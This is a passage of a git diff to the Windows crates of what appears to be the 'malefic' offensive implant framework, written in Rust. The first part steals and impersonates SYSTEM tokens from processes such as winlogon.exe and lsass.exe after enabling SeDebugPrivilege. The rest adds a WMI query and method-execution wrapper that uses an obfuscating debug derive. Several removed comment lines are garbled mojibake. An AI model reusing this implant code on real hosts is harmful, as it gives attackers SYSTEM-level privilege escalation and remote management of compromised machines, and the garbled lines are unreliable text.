SeDebugPrivilege"); } if let Err(_) = enable_privilege("SeImpersonatePrivilege") { - // 如果无法å¯ç”¨ SeImpersonatePrivilege,å°è¯•ç»§ç»­ + // If unable to enable SeImpersonatePrivilege, try to continue println!("Warning: Could not enable SeImpersonatePrivilege"); } - // èŽ·å–æ‰€æœ‰è¿›ç¨‹ - let processes = crate::common::process::get_processes().map_err(|_| Error::from_win32())?; + // Get all processes + let processes = malefic_process::get_processes().map_err(|_| Error::from_win32())?; - // 查找 SYSTEM 进程(按优先级排åºï¼‰ + // Find SYSTEM processes (sorted by priority) let system_process_names = [ "winlogon.exe", "lsass.exe", @@ -613,7 +609,7 @@ fn get_system_token_duplication() -> Result { for process_name in &system_process_names { for (_pid, process) in processes.iter() { if process.name.to_lowercase() == process_name.to_lowercase() { - // 检查进程所有者是å¦ä¸º SYSTEM + // Check if process owner is SYSTEM if process.owner.to_lowercase().contains("system") || process.owner.to_lowercase().contains("nt authority") { @@ -630,17 +626,17 @@ fn get_system_token_duplication() -> Result { fn duplicate_system_token(pid: u32) -> Result { unsafe { - // å°è¯•以更高æƒé™æ‰“开目标进程 + // Try to open target process with higher privileges let process_handle = match OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE, false, pid) { Ok(handle) => handle, Err(_) => { - // 如果失败,å°è¯•åªä½¿ç”¨ QUERY_INFORMATION + // If failed, try using only QUERY_INFORMATION OpenProcess(PROCESS_QUERY_INFORMATION, false, pid)? } }; - // 获å–进程 token + // Get process token let mut token_handle: HANDLE = HANDLE::default(); if let Err(e) = OpenProcessToken( process_handle, @@ -651,7 +647,7 @@ fn duplicate_system_token(pid: u32) -> Result { return Err(e); } - // å¤åˆ¶ token + // Duplicate token let mut new_token_handle: HANDLE = HANDLE::default(); if let Err(e) = DuplicateTokenEx( token_handle, @@ -666,7 +662,7 @@ fn duplicate_system_token(pid: u32) -> Result { return Err(e); } - // 模拟用户 + // Impersonate user if let Err(e) = ImpersonateLoggedOnUser(new_token_handle) { let _ = CloseHandle(new_token_handle); let _ = CloseHandle(token_handle); @@ -674,7 +670,7 @@ fn duplicate_system_token(pid: u32) -> Result { return Err(e); } - // 清ç†èµ„æº + // Clean up resources let _ = CloseHandle(token_handle); let _ = CloseHandle(process_handle); @@ -694,7 +690,6 @@ pub fn has_privilege(privilege_name: &str) -> Result { LookupPrivilegeValueW(None, PWSTR(privilege_name.as_ptr() as *mut u16), &mut luid)?; - let mut size: u32 = 0; let mut tp: TOKEN_PRIVILEGES = TOKEN_PRIVILEGES { PrivilegeCount: 1, Privileges: [LUID_AND_ATTRIBUTES { @@ -703,38 +698,36 @@ pub fn has_privilege(privilege_name: &str) -> Result { }], }; - // å…ˆå°è¯•调整æƒé™ + let mut prev_state: TOKEN_PRIVILEGES = std::mem::zeroed(); + let mut ret_len: u32 = std::mem::size_of::() as u32; + + // Enable the privilege and capture previous state AdjustTokenPrivileges( token_handle, false, Some(&mut tp), std::mem::size_of::() as u32, - None, - Some(&mut size), + Some(&mut prev_state as *mut TOKEN_PRIVILEGES), + Some(&mut ret_len), )?; - // 获å–当剿ƒé™çŠ¶æ€ - let mut buffer = vec![0u8; size as usize]; - let p_buffer = buffer.as_mut_ptr() as *mut TOKEN_PRIVILEGES; + let last_err = GetLastError(); - AdjustTokenPrivileges( - token_handle, - false, - Some(&mut tp), - size, - Some(p_buffer), - Some(&mut size), - )?; - - let privileges = &*p_buffer; - let _ = CloseHandle(token_handle); + // Token doesn't have this privilege at all + if last_err == ERROR_NOT_ALL_ASSIGNED { + let _ = CloseHandle(token_handle); + return Ok(false); + } - // 检查æƒé™æ˜¯å¦å¯ç”¨ - if privileges.PrivilegeCount > 0 { - Ok((privileges.Privileges[0].Attributes & SE_PRIVILEGE_ENABLED) - != TOKEN_PRIVILEGES_ATTRIBUTES(0)) - } else { - Ok(false) + // PrivilegeCount == 0: nothing was modified, privilege was already enabled + if prev_state.PrivilegeCount == 0 { + let _ = CloseHandle(token_handle); + return Ok(true); } + + // Privilege was modified (enabled), restore original disabled state + AdjustTokenPrivileges(token_handle, false, Some(&mut prev_state), 0, None, None)?; + let _ = CloseHandle(token_handle); + Ok(false) } } diff --git a/malefic-crates/win/src/types/mod.rs b/malefic-crates/win/src/types/mod.rs new file mode 100644 index 0000000..9b44ee3 --- /dev/null +++ b/malefic-crates/win/src/types/mod.rs @@ -0,0 +1,2 @@ +pub type DllMain = + unsafe extern "system" fn(*mut core::ffi::c_void, u32, *mut core::ffi::c_void) -> i32; diff --git a/malefic-crates/win/src/wmi/connection.rs b/malefic-crates/win/src/wmi/connection.rs new file mode 100644 index 0000000..ccb1b55 --- /dev/null +++ b/malefic-crates/win/src/wmi/connection.rs @@ -0,0 +1,156 @@ +use super::utils::WMIError; +use super::utils::WMIResult; +use malefic_gateway::ObfDebug; +use std::marker::PhantomData; +use windows::core::BSTR; +use windows::Win32::Foundation::RPC_E_TOO_LATE; +use windows::Win32::System::Com::{ + CoCreateInstance, CoSetProxyBlanket, CLSCTX_INPROC_SERVER, RPC_C_AUTHN_LEVEL_CALL, +}; +use windows::Win32::System::Com::{ + CoInitializeEx, CoInitializeSecurity, COINIT_MULTITHREADED, EOAC_NONE, + RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, +}; +use windows::Win32::System::Rpc::{RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE}; +use windows::Win32::System::Wmi::{ + IWbemLocator, IWbemServices, WbemLocator, WBEM_FLAG_CONNECT_USE_MAX_WAIT, +}; + +/// A marker to indicate that the current thread was `CoInitialize`d. +#[derive(Clone, Copy, ObfDebug)] +pub struct COMLibrary { + // Force the type to be `!Send`, as each thread must be initialized separately. + _phantom: PhantomData<*mut ()>, +} + +/// Initialize COM. +/// +/// `CoUninitialize` will NOT be called when dropped. +/// See: https://github.com/microsoft/windows-rs/issues/1169#issuecomment-926877227 +/// +impl COMLibrary { + /// `CoInitialize`s the COM library for use by the calling thread. + pub fn new() -> WMIResult { + let instance = Self::without_security()?; + + match instance.init_security() { + Ok(()) => {} + // Security was already initialized, this is fine + Err(WMIError::HResultError { hres }) if hres == RPC_E_TOO_LATE.0 => {} + Err(err) => return Err(err), + } + + Ok(instance) + } + + /// `CoInitialize`s the COM library for use by the calling thread, but without setting the security context. + pub fn without_security() -> WMIResult { + unsafe { CoInitializeEx(None, COINIT_MULTITHREADED).ok()? } + + let instance = Self { + _phantom: PhantomData, + }; + + Ok(instance) + } + + /// Assumes that COM was already initialized for this thread. + /// + /// # Safety + /// + /// This function is unsafe as it is the caller's responsibility to ensure that COM is initialized + /// and will not be uninitialized while any instance of object is in scope. + pub unsafe fn assume_initialized() -> Self { + Self { + _phantom: PhantomData, + } + } + + fn init_security(&self) -> WMIResult<()> { + unsafe { + CoInitializeSecurity( + None, + -1, // let COM choose. + None, + None, + RPC_C_AUTHN_LEVEL_DEFAULT, + RPC_C_IMP_LEVEL_IMPERSONATE, + None, + EOAC_NONE, + None, + )?; + }; + + Ok(()) + } +} + +#[derive(Clone, ObfDebug)] +pub struct WMIConnection { + _com_con: COMLibrary, + pub svc: IWbemServices, +} + +/// A connection to the local WMI provider, which provides querying capabilities. +/// +/// Currently does not support remote providers (e.g connecting to other computers). +impl WMIConnection { + /// Creates a connection with a default `CIMV2` namespace path. + pub fn new(com_lib: COMLibrary) -> WMIResult { + Self::with_namespace_path("ROOT\\CIMV2", com_lib) + } + + /// Creates a connection with the given namespace path. + pub fn with_namespace_path(namespace_path: &str, com_lib: COMLibrary) -> WMIResult { + let loc = create_locator()?; + let svc = create_services(&loc, namespace_path)?; + + let this = Self { + _com_con: com_lib, + svc, + }; + + this.set_proxy()?; + Ok(this) + } + + fn set_proxy(&self) -> WMIResult<()> { + unsafe { + CoSetProxyBlanket( + &self.svc, + RPC_C_AUTHN_WINNT, // RPC_C_AUTHN_xxx + RPC_C_AUTHZ_NONE, // RPC_C_AUTHZ_xxx + None, + RPC_C_AUTHN_LEVEL_CALL, // RPC_C_AUTHN_LEVEL_xxx + RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL_xxx + None, // client identity + EOAC_NONE, // proxy capabilities + )?; + } + + Ok(()) + } +} + +fn create_locator() -> WMIResult { + let loc = unsafe { CoCreateInstance(&WbemLocator, None, CLSCTX_INPROC_SERVER)? }; + Ok(loc) +} + +fn create_services(loc: &IWbemLocator, path: &str) -> WMIResult { + let object_path_bstr = BSTR::from(path); + + let svc = unsafe { + loc.ConnectServer( + &object_path_bstr, + &BSTR::new(), + &BSTR::new(), + &BSTR::new(), + WBEM_FLAG_CONNECT_USE_MAX_WAIT.0, + &BSTR::new(), + None, + )? + }; + + Ok(svc) +} diff --git a/malefic-crates/win/src/wmi/exec.rs b/malefic-crates/win/src/wmi/exec.rs new file mode 100644 index 0000000..e2e905f --- /dev/null +++ b/malefic-crates/win/src/wmi/exec.rs @@ -0,0 +1,73 @@ +use super::result_enumerator::IWbemClassWrapper; +use super::utils::wide_rust_to_c_string; +use super::variant::Variant; +use super::{WMIConnection, WMIError, WMIResult}; +use windows::core::{BSTR, PCWSTR}; +use windows::Win32::System::Wmi; +use windows::Win32::System::Wmi::IWbemClassObject; + +pub struct WmiExecParam { + pub key: String, + pub value: Variant, +} + +impl WMIConnection { + pub fn get_object(&self, name: &str) -> WMIResult { + let mut wmi_object = None; + unsafe { + self.svc.GetObject( + &BSTR::from(name), + Wmi::WBEM_FLAG_RETURN_WBEM_COMPLETE, + None, + Some(&mut wmi_object), + None, + ) + }?; + + Ok(wmi_object + .ok_or_else(|| WMIError::SerdeError(format!("object {} is not found", name)))?) + } + + pub fn exec_method( + &self, + class_name: &str, + method_name: &str, + params: &[WmiExecParam], + ) -> WMIResult> { + unsafe { + let mut in_params_class: Option = None; + let object = self.get_object(class_name)?; + object.GetMethod( + PCWSTR::from_raw(wide_rust_to_c_string(method_name).as_ptr()), + 0, + &mut in_params_class, + std::ptr::null_mut(), + )?; + let in_params_class = in_params_class + .ok_or_else(|| WMIError::SerdeError("in params class is none".into()))?; + let in_params = in_params_class.SpawnInstance(0)?; + for param in params { + in_params.Put( + PCWSTR::from_raw(wide_rust_to_c_string(¶m.key).as_ptr()), + 0, + &Variant::to_variant(¶m.value)?, + 0, + )?; + } + let mut out_params = None; + self.svc.ExecMethod( + &BSTR::from(class_name), + &BSTR::from(method_name), + Default::default(), + None, + &in_params, + Some(&mut out_params), + None, + )?; + match out_params { + None => Ok(None), + Some(out) => Ok(Some(IWbemClassWrapper::new(out))), + } + } + } +} diff --git a/malefic-crates/win/src/wmi/mod.rs b/malefic-crates/win/src/wmi/mod.rs new file mode 100644 index 0000000..6796deb --- /dev/null +++ b/malefic-crates/win/src/wmi/mod.rs @@ -0,0 +1,12 @@ +pub mod connection; +pub mod exec; +pub mod query; +pub mod result_enumerator; +pub mod safearray; +pub mod utils; +pub mod variant; + +pub use connection::{COMLibrary, WMIConnection}; +pub use result_enumerator::IWbemClassWrapper; +pub use utils::{WMIError, WMIResult}; +pub use variant::Variant; diff --git a/malefic-crates/win/src/wmi/query.rs b/malefic-crates/win/src/wmi/query.rs new file mode 100644 index 0000000..39c7ec3 --- /dev/null +++ b/malefic-crates/win/src/wmi/query.rs @@ -0,0 +1,27 @@ +use super::connection::WMIConnection; +use super::result_enumerator::QueryResultEnumerator; +use super::WMIResult; +use windows::core::BSTR; +use windows::Win32::System::Wmi::{WBEM_FLAG_FORWARD_ONLY, WBEM_FLAG_RETURN_IMMEDIATELY}; + +impl WMIConnection { + /// Execute the given query and return an iterator of WMI pointers. + pub fn exec_query_native_wrapper( + &self, + query: impl AsRef, + ) -> WMIResult { + let query_language = BSTR::from("WQL"); + let query = BSTR::from(query.as_ref()); + + let enumerator = unsafe { + self.svc.ExecQuery( + &query_language, + &query, + WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, + None, + )? + }; + + Ok(QueryResultEnumerator::new(self, enumerator)) + } +} diff --git a/malefic-crates/win/src/wmi/result_enumerator.rs b/malefic-crates/win/src/wmi/result_enumerator.rs new file mode 100644 index 0000000..cdcce1b --- /dev/null +++ b/malefic-crates/win/src/wmi/result_enumerator.rs @@ -0,0 +1,124 @@ +use super::{ + connection::WMIConnection, safearray::safe_array_to_vec_of_strings, Variant, WMIError, + WMIResult, +}; +use std::ptr; +use windows::core::VARIANT; +use windows::Win32::System::Ole::SafeArrayDestroy; +use windows::Win32::System::Variant::VariantClear; +use windows::Win32::System::Wmi::{ + IEnumWbemClassObject, IWbemClassObject, CIMTYPE_ENUMERATION, WBEM_FLAG_ALWAYS, + WBEM_FLAG_NONSYSTEM_ONLY, WBEM_INFINITE, +}; +use windows::{ + core::{HSTRING, PCWSTR}, + Win32::System::Wmi::WBEM_CONDITION_FLAG_TYPE, +}; + +/// A wrapper around a raw pointer to IWbemClassObject, which also takes care of releasing +/// the object when dropped. +#[repr(transparent)] +#[derive(Clone, Debug, PartialEq, Eq)] +pub struct IWbemClassWrapper { + pub inner: IWbemClassObject, +} + +impl IWbemClassWrapper { + pub fn new(inner: IWbemClassObject) -> Self { + Self { inner } + } + + /// Return the names of all the properties of the given object. + pub fn list_properties(&self) -> WMIResult> { + let p_names = unsafe { + self.inner.GetNames( + None, + WBEM_CONDITION_FLAG_TYPE(WBEM_FLAG_ALWAYS.0 | WBEM_FLAG_NONSYSTEM_ONLY.0), + ptr::null_mut(), + ) + }?; + + let res = safe_array_to_vec_of_strings(unsafe { &*p_names }); + + unsafe { SafeArrayDestroy(p_names) }?; + + res + } + + pub fn get_property(&self, property_name: &str) -> WMIResult { + let name_prop = HSTRING::from(property_name); + + let mut vt_prop = VARIANT::default(); + + let mut cim_type = 0; + + unsafe { + self.inner.Get( + PCWSTR::from_raw(name_prop.as_ptr()), + 0, + &mut vt_prop, + Some(&mut cim_type), + None, + )?; + + let property_value = Variant::from_variant(&vt_prop)? + .convert_into_cim_type(CIMTYPE_ENUMERATION(cim_type))?; + + VariantClear(&mut vt_prop)?; + + Ok(property_value) + } + } + + pub fn path(&self) -> WMIResult { + self.get_property("__Path").and_then(Variant::try_into) + } + + pub fn class(&self) -> WMIResult { + self.get_property("__Class").and_then(Variant::try_into) + } +} + +pub struct QueryResultEnumerator<'a> { + _wmi_con: &'a WMIConnection, + p_enumerator: IEnumWbemClassObject, +} + +impl<'a> QueryResultEnumerator<'a> { + pub fn new(wmi_con: &'a WMIConnection, p_enumerator: IEnumWbemClassObject) -> Self { + Self { + _wmi_con: wmi_con, + p_enumerator, + } + } +} + +impl<'a> Iterator for QueryResultEnumerator<'a> { + type Item = WMIResult; + + fn next(&mut self) -> Option { + let mut objs = [None; 1]; + let mut return_value = 0; + + let res = unsafe { + self.p_enumerator + .Next(WBEM_INFINITE, &mut objs, &mut return_value) + }; + + if let Err(e) = res.ok() { + return Some(Err(e.into())); + } + + if return_value == 0 { + return None; + } + + let mut objs = objs.into_iter(); + let pcls_ptr = objs.next().unwrap().ok_or(WMIError::NullPointerResult); + + match pcls_ptr { + Err(e) => Some(Err(e)), + Ok(pcls_ptr) => Some(Ok(IWbemClassWrapper::new(pcls_ptr))), + } + } +} diff --git a/malefic-crates/win/src/wmi/safearray.rs b/malefic-crates/win/src/wmi/safearray.rs new file mode 100644 index 0000000..a75aa0b --- /dev/null +++ b/malefic-crates/win/src/wmi/safearray.rs @@ -0,0 +1,122 @@ +use super::{ + utils::{WMIError, WMIResult}, + Variant, +}; +use std::{iter::Iterator, ptr::null_mut, slice}; +use windows::core::BSTR; +use windows::Win32::System::Com::SAFEARRAY; +use windows::Win32::System::Ole::{ + SafeArrayAccessData, SafeArrayGetLBound, SafeArrayGetUBound, SafeArrayUnaccessData, +}; +use windows::Win32::System::Variant::*; + +#[derive(Debug)] +pub struct SafeArrayAccessor<'a, T> { + arr: &'a SAFEARRAY, + p_data: *mut T, + lower_bound: i32, + upper_bound: i32, +} + +/// An accessor to SafeArray, which: +/// 1. Locks the array so the data can be read. +/// 2. Unlocks the array once dropped. +impl<'a, T> SafeArrayAccessor<'a, T> { + /// Creates a new Accessor, locking the given array, + /// + /// # Safety + /// + /// This function is unsafe as it is the caller's responsibility to verify that the array is + /// of items of type T. + pub fn new(arr: &'a SAFEARRAY) -> WMIResult { + let mut p_data = null_mut(); + + let lower_bound = unsafe { SafeArrayGetLBound(arr, 1)? }; + let upper_bound = unsafe { SafeArrayGetUBound(arr, 1)? }; + unsafe { SafeArrayAccessData(arr, &mut p_data)? }; + + Ok(Self { + arr, + p_data: p_data as *mut T, + lower_bound, + upper_bound, + }) + } + + /// Return a slice which can access the data of the array. + pub fn as_slice(&self) -> &[T] { + let data_slice = + unsafe { slice::from_raw_parts(self.p_data, (self.upper_bound + 1) as usize) }; + + &data_slice[(self.lower_bound as usize)..] + } +} + +impl<'a, T> Drop for SafeArrayAccessor<'a, T> { + fn drop(&mut self) { + unsafe { + let _result = SafeArrayUnaccessData(self.arr); + } + } +} + +/// # Safety +/// +/// The caller must ensure that the array is valid and contains only strings. +pub fn safe_array_to_vec_of_strings(arr: &SAFEARRAY) -> WMIResult> { + let items = safe_array_to_vec(arr, VT_BSTR)?; + + let string_items = items + .into_iter() + .map(|item| match item { + Variant::String(s) => s, + _ => unreachable!(), + }) + .collect(); + + Ok(string_items) +} + +/// # Safety +/// +/// The caller must ensure that the array is valid. +pub fn safe_array_to_vec(arr: &SAFEARRAY, item_type: VARENUM) -> WMIResult> { + fn copy_type_to_vec(arr: &SAFEARRAY, variant_builder: F) -> WMIResult> + where + T: Copy, + F: Fn(T) -> Variant, + { + let mut items = vec![]; + + let accessor = SafeArrayAccessor::::new(arr)?; + + for item in accessor.as_slice().iter() { + items.push(variant_builder(*item)); + } + + Ok(items) + } + + match item_type { + VT_I1 => copy_type_to_vec(arr, Variant::I1), + VT_I2 => copy_type_to_vec(arr, Variant::I2), + VT_I4 => copy_type_to_vec(arr, Variant::I4), + VT_I8 => copy_type_to_vec(arr, Variant::I8), + VT_UI1 => copy_type_to_vec(arr, Variant::UI1), + VT_UI2 => copy_type_to_vec(arr, Variant::UI2), + VT_UI4 => copy_type_to_vec(arr, Variant::UI4), + VT_UI8 => copy_type_to_vec(arr, Variant::UI8), + VT_R4 => copy_type_to_vec(arr, Variant::R4), + VT_R8 => copy_type_to_vec(arr, Variant::R8), + VT_BSTR => { + let mut items = vec![]; + let accessor = SafeArrayAccessor::::new(arr)?; + + for item_bstr in accessor.as_slice().iter() { + items.push(Variant::String(item_bstr.try_into()?)); + } + Ok(items) + } + _ => Err(WMIError::UnimplementedArrayItem), + } +} diff --git a/malefic-crates/win/src/wmi/utils.rs b/malefic-crates/win/src/wmi/utils.rs new file mode 100644 index 0000000..c924e24 --- /dev/null +++ b/malefic-crates/win/src/wmi/utils.rs @@ -0,0 +1,59 @@ +use std::ffi::OsStr; +use std::fmt::Debug; +use std::os::windows::ffi::OsStrExt; +use thiserror::Error; + +#[derive(Debug, Error)] +#[non_exhaustive] +pub enum WMIError { + /// You can find a useful resource for decoding error codes [here](https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-error-constants) + /// (or a github version [here](https://github.com/MicrosoftDocs/win32/blob/docs/desktop-src/WmiSdk/wmi-error-constants.md)) + #[error("HRESULT Call failed with: {hres:#X}")] + HResultError { hres: i32 }, + #[error(transparent)] + ParseIntError(#[from] std::num::ParseIntError), + #[error(transparent)] + ParseFloatError(#[from] std::num::ParseFloatError), + #[error("Converting from variant type {0:#X} is not implemented yet")] + ConvertError(u16), + #[error("{0}")] + ConvertVariantError(String), + #[error("Invalid bool value: {0:#X}")] + ConvertBoolError(i16), + #[error(transparent)] + ConvertStringError(#[from] std::string::FromUtf16Error), + #[error("Expected {0:?} to be at least 21 chars")] + ConvertDatetimeError(String), + #[error("Expected {0:?} to be at 25 chars")] + ConvertDurationError(String), + #[error("Length {0} was too long to convert")] + ConvertLengthError(u64), + #[error("{0}")] + SerdeError(String), + #[error("No results returned")] + ResultEmpty, + #[error("Null pointer was sent as part of query result")] + NullPointerResult, + #[error("Unimplemeted array item in query")] + UnimplementedArrayItem, + #[error("Invalid variant {0} during deserialization")] + InvalidDeserializationVariantError(String), +} + +impl From for WMIError { + fn from(value: windows::core::Error) -> Self { + Self::HResultError { + hres: value.code().0, + } + } +} + +/// Alias type for `Result` +pub type WMIResult = Result; + +pub fn wide_rust_to_c_string(s: &str) -> Vec { + OsStr::new(s) + .encode_wide() + .chain(std::iter::once(0)) + .collect() +} diff --git a/malefic-crates/win/src/wmi/variant.rs b/malefic-crates/win/src/wmi/variant.rs new file mode 100644 index 0000000..f7d467e --- /dev/null +++ b/malefic-crates/win/src/wmi/variant.rs @@ -0,0 +1,396 @@ +use super::{ + result_enumerator::IWbemClassWrapper, safearray::safe_array_to_vec, WMIError, WMIResult, +}; +use std::convert::TryFrom; +use windows::core::{IUnknown, Interface, BSTR, VARIANT}; +use windows::Win32::Foundation::{VARIANT_BOOL, VARIANT_FALSE, VARIANT_TRUE}; +use windows::Win32::System::Com::{SAFEARRAY, SAFEARRAYBOUND}; +use windows::Win32::System::Ole::{SafeArrayCreate, SafeArrayPutElement}; +use windows::Win32::System::Variant::*; +use windows::Win32::System::Wmi::{self, IWbemClassObject, CIMTYPE_ENUMERATION}; + +#[derive(Debug, PartialEq)] +pub enum Variant { + Empty, + Null, + + String(String), + + I1(i8), + I2(i16), + I4(i32), + I8(i64), + + R4(f32), + R8(f64), + + Bool(bool), + + UI1(u8), + UI2(u16), + UI4(u32), + UI8(u64), + + Array(Vec), + + /// Temporary variant used internally + Unknown(IUnknownWrapper), + Object(IWbemClassWrapper), +} + +// The `cast_num` macro is used to convert a numerical variable to a variant of the given CIMTYPE. +macro_rules! cast_num { + ($var:ident, $cim_type: ident) => { + if $cim_type == Wmi::CIM_UINT8 { + Ok(Variant::UI1($var as u8)) + } else if $cim_type == Wmi::CIM_UINT16 { + Ok(Variant::UI2($var as u16)) + } else if $cim_type == Wmi::CIM_UINT32 { + Ok(Variant::UI4($var as u32)) + } else if $cim_type == Wmi::CIM_UINT64 { + Ok(Variant::UI8($var as u64)) + } else if $cim_type == Wmi::CIM_SINT8 { + Ok(Variant::I1($var as i8)) + } else if $cim_type == Wmi::CIM_SINT16 { + Ok(Variant::I2($var as i16)) + } else if $cim_type == Wmi::CIM_SINT32 { + Ok(Variant::I4($var as i32)) + } else if $cim_type == Wmi::CIM_SINT64 { + Ok(Variant::I8($var as i64)) + } else if $cim_type == Wmi::CIM_REAL32 { + Ok(Variant::R4($var as f32)) + } else if $cim_type == Wmi::CIM_REAL64 { + Ok(Variant::R8($var as f64)) + } else if $cim_type == Wmi::CIM_CHAR16 { + Ok(Variant::String(String::from_utf16(&[$var as u16])?)) + } else { + Err(WMIError::ConvertVariantError(format!( + "Value {:?} cannot be turned into a CIMTYPE {:?}", + $var, $cim_type, + ))) + } + }; +} + +pub trait FromVariant { + fn from_variant(variant: &Variant) -> Option + where + Self: Sized; +} +impl FromVariant for String { + fn from_variant(variant: &Variant) -> Option { + match variant { + Variant::String(value) => Some(value.clone()), + _ => None, + } + } +} + +fn create_variant_from_strings(params: &[String]) -> WMIResult { + unsafe { + let mut rgsa_bounds = vec![SAFEARRAYBOUND::default(); 1]; + rgsa_bounds[0].cElements = params.len() as u32; + rgsa_bounds[0].lLbound = 0; + let psa: *mut SAFEARRAY = SafeArrayCreate(VT_BSTR, 1, rgsa_bounds.as_ptr()); + if psa.is_null() { + return Err(WMIError::SerdeError("Failed to create SAFEARRAY.".into())); + } + for (i, s) in params.iter().enumerate() { + let bstr: BSTR = BSTR::from(s); + SafeArrayPutElement(psa, &mut (i as i32), bstr.as_ptr() as *const _)?; + } + let variant = windows_core::imp::VARIANT { + Anonymous: windows_core::imp::VARIANT_0 { + Anonymous: windows_core::imp::VARIANT_0_0 { + vt: VT_BSTR.0 | VT_ARRAY.0, + wReserved1: 0, + wReserved2: 0, + wReserved3: 0, + Anonymous: windows_core::imp::VARIANT_0_0_0 { + parray: psa as *mut _, + }, + }, + }, + }; + Ok(VARIANT::from_raw(variant)) + } +} + +impl Variant { + /// Create a `Variant` instance from a raw `VARIANT`. + /// + /// # Safety + /// + /// This function is unsafe as it is the caller's responsibility to ensure that the VARIANT is correctly initialized. + pub fn from_variant(vt: &VARIANT) -> WMIResult { + let vt = vt.as_raw(); + let variant_type = unsafe { vt.Anonymous.Anonymous.vt }; + + // variant_type has two 'forms': + // 1. A simple type like `VT_BSTR` . + // 2. An array of certain type like `VT_ARRAY | VT_BSTR`. + if variant_type & VT_ARRAY.0 == VT_ARRAY.0 { + let array = unsafe { + vt.Anonymous.Anonymous.Anonymous.parray + as *const windows::Win32::System::Com::SAFEARRAY + }; + + let item_type = VARENUM(variant_type & VT_TYPEMASK.0); + + return Ok(Variant::Array(unsafe { + safe_array_to_vec(&*array, item_type)? + })); + } + + // See https://msdn.microsoft.com/en-us/library/cc237865.aspx for more info. + let variant_value = match VARENUM(variant_type) { + VT_BSTR => { + let bstr_ptr = unsafe { BSTR::from_raw(vt.Anonymous.Anonymous.Anonymous.bstrVal) }; + let bstr_as_str = bstr_ptr.to_string(); + // We don't want to be the ones freeing the BSTR. + let _ = bstr_ptr.into_raw(); + Variant::String(bstr_as_str) + } + VT_I1 => { + let num = unsafe { vt.Anonymous.Anonymous.Anonymous.cVal }; + Variant::I1(num as _) + } + VT_I2 => { + let num: i16 = unsafe { vt.Anonymous.Anonymous.Anonymous.iVal }; + Variant::I2(num) + } + VT_I4 => { + let num: i32 = unsafe { vt.Anonymous.Anonymous.Anonymous.lVal }; + Variant::I4(num) + } + VT_I8 => { + let num: i64 = unsafe { vt.Anonymous.Anonymous.Anonymous.llVal }; + Variant::I8(num) + } + VT_R4 => { + let num: f32 = unsafe { vt.Anonymous.Anonymous.Anonymous.fltVal }; + Variant::R4(num) + } + VT_R8 => { + let num: f64 = unsafe { vt.Anonymous.Anonymous.Anonymous.dblVal }; + Variant::R8(num) + } + VT_BOOL => { + let value = unsafe { vt.Anonymous.Anonymous.Anonymous.boolVal }; + match VARIANT_BOOL(value) { + VARIANT_FALSE => Variant::Bool(false), + VARIANT_TRUE => Variant::Bool(true), + _ => return Err(WMIError::ConvertBoolError(value)), + } + } + VT_UI1 => { + let num: u8 = unsafe { vt.Anonymous.Anonymous.Anonymous.bVal }; + Variant::UI1(num) + } + VT_UI2 => { + let num: u16 = unsafe { vt.Anonymous.Anonymous.Anonymous.uiVal }; + Variant::UI2(num) + } + VT_UI4 => { + let num: u32 = unsafe { vt.Anonymous.Anonymous.Anonymous.ulVal }; + Variant::UI4(num) + } + VT_UI8 => { + let num: u64 = unsafe { vt.Anonymous.Anonymous.Anonymous.ullVal }; + Variant::UI8(num) + } + VT_EMPTY => Variant::Empty, + VT_NULL => Variant::Null, + VT_UNKNOWN => { + let ptr = unsafe { + IUnknown::from_raw_borrowed(&vt.Anonymous.Anonymous.Anonymous.punkVal) + }; + let ptr = ptr.cloned().ok_or(WMIError::NullPointerResult)?; + Variant::Unknown(IUnknownWrapper::new(ptr)) + } + _ => return Err(WMIError::ConvertError(variant_type)), + }; + + Ok(variant_value) + } + + pub fn to_variant(vt: &Variant) -> WMIResult { + let v = match vt { + Variant::Empty => VARIANT::default(), + Variant::Null => VARIANT::default(), + Variant::String(val) => VARIANT::from(BSTR::from(val.as_str())), + Variant::I1(val) => VARIANT::from(*val), + Variant::I2(val) => VARIANT::from(*val), + Variant::I4(val) => VARIANT::from(*val), + Variant::I8(val) => VARIANT::from(*val), + Variant::R4(val) => VARIANT::from(*val), + Variant::R8(val) => VARIANT::from(*val), + Variant::Bool(val) => VARIANT::from(*val), + Variant::UI1(val) => VARIANT::from(*val), + Variant::UI2(val) => VARIANT::from(*val), + Variant::UI4(val) => VARIANT::from(*val), + Variant::UI8(val) => VARIANT::from(*val), + Variant::Array(val) => { + let a: Vec = val + .into_iter() + .map(|item| match item { + Variant::String(s) => s.to_string(), + _ => unreachable!(), + }) + .collect(); + create_variant_from_strings(&a)? + } + _ => return Err(WMIError::SerdeError("unknown type".into())), + }; + Ok(v) + } + + pub fn to_vec(&self) -> Vec + where + T: Clone + FromVariant, + { + match self { + Variant::Array(variants) => { + let mut result = Vec::new(); + for variant in variants { + if let Some(value) = T::from_variant(variant) { + result.push(value); + } + } + result + } + _ => Vec::new(), + } + } + + /// Convert the variant it to a specific type. + pub fn convert_into_cim_type(self, cim_type: CIMTYPE_ENUMERATION) -> WMIResult { + if cim_type == Wmi::CIM_EMPTY { + return Ok(Variant::Null); + } + + if (Wmi::CIM_FLAG_ARRAY.0 & cim_type.0) != 0 { + return match self { + Variant::Array(arr) => Variant::Array(arr) + .convert_into_cim_type(CIMTYPE_ENUMERATION(cim_type.0 & 0xff)), + Variant::Empty | Variant::Null => Ok(Variant::Array(vec![])), + not_array => { + Ok(Variant::Array(vec![not_array.convert_into_cim_type( + CIMTYPE_ENUMERATION(cim_type.0 & 0xff), + )?])) + } + }; + } + + let converted_variant = match self { + Variant::Empty => Variant::Empty, + Variant::Null => Variant::Null, + Variant::I1(n) => cast_num!(n, cim_type)?, + Variant::I2(n) => cast_num!(n, cim_type)?, + Variant::I4(n) => cast_num!(n, cim_type)?, + Variant::I8(n) => cast_num!(n, cim_type)?, + Variant::R4(f) => cast_num!(f, cim_type)?, + Variant::R8(f) => cast_num!(f, cim_type)?, + Variant::UI1(n) => cast_num!(n, cim_type)?, + Variant::UI2(n) => cast_num!(n, cim_type)?, + Variant::UI4(n) => cast_num!(n, cim_type)?, + Variant::UI8(n) => cast_num!(n, cim_type)?, + Variant::Bool(b) => { + if cim_type == Wmi::CIM_BOOLEAN { + Variant::Bool(b) + 